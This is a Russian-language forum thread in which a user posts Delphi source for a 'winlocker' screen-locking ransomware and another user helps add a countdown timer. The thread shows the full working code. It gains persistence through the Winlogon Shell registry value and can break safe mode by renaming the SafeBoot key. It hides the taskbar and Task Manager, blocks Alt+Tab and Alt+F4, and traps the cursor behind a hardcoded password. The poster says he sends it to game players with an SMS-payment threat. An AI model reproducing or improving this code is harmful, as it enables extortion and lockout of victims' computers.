Ребят помогите Вот сделал Винлокер хочу сделать что бы на форме еще был таймер отсчитывающий 300 сек . Чисто таймер получаеться а вот вместе с вирусняком ошибки . Я как бы не очень в программировании Помогите Вот сам винлокер и надо на таймер2 закинуть обратный отсчет
procedure TForm1.FormCreate(Sender: TObject);
Procedure SafeBoot(Block: Boolean);
var
Reg: TRegistry;
Begin
Reg:=TRegistry.Create;
Try
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SYSTEM\CurrentControlSet\Control',True);
If Block Then
Begin
Reg.MoveKey('SafeBoot','SystemNls',True);
Reg.Free;
End
Else
Begin
Reg.MoveKey('SystemNls','SafeBoot', True);
Reg.Free;
End;
Except
Reg.Free;
End;
End;
function GetSpecialPath(CSIDL: word): string;
type
gPath = function(hwndOwner: HWND; lpszPath: PAnsiChar; nFolder: Integer; fCreate: BOOL): BOOL; stdcall;
var
s: String;
GetPath: gPath;
begin
KeyPreview := true;
@GetPath:=GetProcAddress(LoadLibrary('shell32.dll'), 'SHGetSpecialFolderPathA');
SetLength(s, MAX_PATH);
if not GetPath(0, PChar(s), CSIDL, true)
then s:=GetSpecialPath($001a);
result:=PChar(s);
end;
var
Procedure Timer;
begin
dec(i);
if i=0 then
begin
KillTimer(GetForeGroundWindow,T); //останавливаю таймер T
MessageBox(GetForeGroundWindow,'Время вышло','Внимание',0);
//можно ещё чего-нибудь написать...
end;
end;
На событии FormCreate добавь перед строчкой
CopyFile(PChar(ParamStr(0)), PChar(GetSpecialPath($0007) + '\1.exe'), False);
вот это:
Code
SetTimer(Handle,T,1000,@Timer);
P.S
Выложи весь проект и я сделаю.Ото много лишнего кода у тебя.
Сообщение отредактировал Neo - Пятница, 14.12.2012, 16:56
type
TForm1 = class(TForm)
Edit1: TEdit;
Button1: TButton;
Image1: TImage;
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
function GetSpecialPath(CSIDL: word): string;
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
i:Integer=300;
T:DWord;
implementation
{$R *.dfm}
Procedure SafeBoot(Block: Boolean); //Даже не используешь её)))
var
Reg: TRegistry;
Begin
Reg:=TRegistry.Create;
Try
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SYSTEM\CurrentControlSet\Control',True);
If Block Then
Begin
Reg.MoveKey('SafeBoot','SystemNls',True);
Reg.Free;
End Else
Begin
Reg.MoveKey('SystemNls','SafeBoot', True);
Reg.Free;
End;
Except
Reg.Free;
End;
End;
function TForm1.GetSpecialPath(CSIDL: word): string;
type
gPath = function(hwndOwner: HWND; lpszPath: PAnsiChar; nFolder: Integer; fCreate: BOOL): BOOL; stdcall;
var
s: String;
GetPath: gPath;
begin
KeyPreview := true;
@GetPath:=GetProcAddress(LoadLibrary('shell32.dll'), 'SHGetSpecialFolderPathA');
SetLength(s, MAX_PATH);
if not GetPath(0, PChar(s), CSIDL, true) then
s:=GetSpecialPath($001a);
result:=PChar(s);
end;
Procedure Timer;
begin
dec(i);
if i=0 then
begin
KillTimer(GetForeGroundWindow,T); //останавливаю таймер T
MessageBox(GetForeGroundWindow,'Время вышло','Внимание',0);
//можно ещё чего-нибудь написать...
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
hTaskBar : THandle;
TDWH:THandle;
Reg: TRegistry;
begin
{ Зачем два раза добавлять в автозагрузку???
CopyFile(PChar(ParamStr(0)), PChar(GetSpecialPath($0007) + '\1.exe'), False);
}
SetTimer(Handle,T,1000,@Timer);//запускаю 2 таймер
CopyFile(PChar(ParamStr(0)), PChar('C:\Windows\' + ExtractFileName(ParamStr(0))), True);
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',true);
Reg.WriteString('SHELL','Explorer.exe,' + 'C:\Windows\' + ExtractFileName(ParamStr(0)));
Reg.CloseKey;
Reg.Free;
ShowWindow(Application.handle, SW_HIDE);
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0) ;
hTaskbar := FindWindow('Shell_TrayWnd', Nil);
ShowWindow(hTaskBar, SW_HIDE);
ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE);
RegisterHotKey(Handle, 1, MOD_ALT, VK_TAB);
TDWH:=FindWindow(nil,'Диспетчер задач Windows');
if TDWH=0 then
ShellExecute(0,'open','taskmgr.exe',nil,nil,SW_HIDE) else
ShowWindow(TDWH,SW_HIDE);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
hTaskBar : THandle;
TDWH:THandle;
Password:string[10];
begin
Password:=edit1.text;
If (Password='180887') then
begin
SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0) ;
ShowWindow(FindWindow(nil,'Program Manager'),SW_SHOW);
hTaskbar := FindWindow('Shell_TrayWnd', Nil);
ShowWindow(hTaskBar, SW_SHOWNORMAL);
TDWH:=FindWindow(nil, 'Диспетчер задач Windows');
ShowWindow(TDWH,SW_SHOWNORMAL);
UnRegisterHotKey(Handle, 1);
Close;
end else
Edit1.Clear;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
h:HWND;
curs: TRect;
begin
Form1.FormStyle := fsStayOnTop;
h:=FindWindow('Progman',nil);
ShowWindow(h,sw_hide);
h:=FindWindow('Shell_TrayWnd',nil);
ShowWindow(h,sw_hide);
h:=FindWindow(nil,'Редактор реестра');
ShowWindow(h,sw_hide);
h:=FindWindow(nil,'Настройка системы');
ShowWindow(h,sw_hide);
h:=FindWindow(nil,'Диспетчер задач Windows');
ShowWindow(h,sw_hide);
SetWindowPos(Handle,HWND_TOPMOST,Left,Top,Width,Height,SWP_NOACTIVATE Or SWP_NOMOVE Or SWP_NOSIZE);
curs := Rect(Form1.Left+0, Form1.Top+0, Form1.Left + Form1.Width-0, Form1.Top + Form1.Height-0);
ClipCursor(@curs);
Windows.Beep(500,600)
end;
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if ((ssAlt in Shift) and (Key = VK_F4)) then
Key := 0;
end;
{ Зачем два раза добавлять в автозагрузку??? CopyFile(PChar(ParamStr(0)), PChar(GetSpecialPath($0007) + '\1.exe'), False); }
для семерки и для хп )) я же говорю я новичек . Просто читеров в одной игре блокирую кстати а ты не мог бы дать свой скайп так сказать для дальнейшего моего развития ))
Проблема осталась. Мне надо что бы эти 300 сек были видны на форме тоесть человек запускает вирус и у него пошел обратный отсчет типо мол не отправишь смс хана компу ну в течении 300 сек . а по истечению времени просто вывести сообщение поплатился читер ну или что то подобное . Кстати я это вирус читерам кидаю с одной игры . Да и твой вышеизложенный код там почему то аль +ф4 срабатывает а в моем нет
Сообщение отредактировал satahehok11 - Пятница, 14.12.2012, 17:41